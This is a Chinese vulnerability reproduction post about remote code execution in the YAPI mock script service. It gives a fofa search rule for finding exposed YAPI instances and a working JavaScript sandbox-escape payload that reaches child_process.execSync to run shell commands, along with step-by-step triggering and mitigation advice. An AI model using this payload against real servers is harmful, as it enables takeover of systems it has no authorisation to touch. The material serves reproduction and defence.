以下内容来自:星期五实验室
YAPI接口管理平台是国内某旅行网站的开源项目,为前端后台开发与测试人员提供更优雅的接口管理服务,该系统被国内较多知名互联网企业所采用。
该漏洞存在于YAPI的mock脚本服务上,是由于mock脚本自定义服务未对JS脚本加以命令过滤,用户可以添加任何请求处理脚本,攻击者可利用该漏洞在受影响的服务器上执行任意javascript代码,最终导致接管并控制服务器。
影响版本:YAPI全版本
fofa规则:app="YApi"
首先是注册账号
在这里随意注册一个账号test
在里面新建项目
项目名称和路径如下
const sandbox = this
const ObjectConstructor = this.constructor
const FunctionConstructor = ObjectConstructor.constructor
const myfun = FunctionConstructor('return process')
const process = myfun()
mockJson = process.mainModule.require("child_process").execSync("whoami && ps -ef").toString()
选择开启
保存之后,接着设置接口,在这里添加接口
添加接口
添加好接口之后,直接访问Mock地址就行。
访问地址
http://your ip:3000/mock/60/test/test
到此便复现完成,复现结束记得删除项目。
1、更改Yapi运行端口
2、使用Nginx对Yapi进行反向代理
3、安全组只开放Nginx端口,你可以在Nginx限制IP白名单。
4、关闭Yapi注册
5、关闭Yapi Mock
https://github.com/YMFE/yapi/issues/2233
https://github.com/YMFE/yapi/issues/2099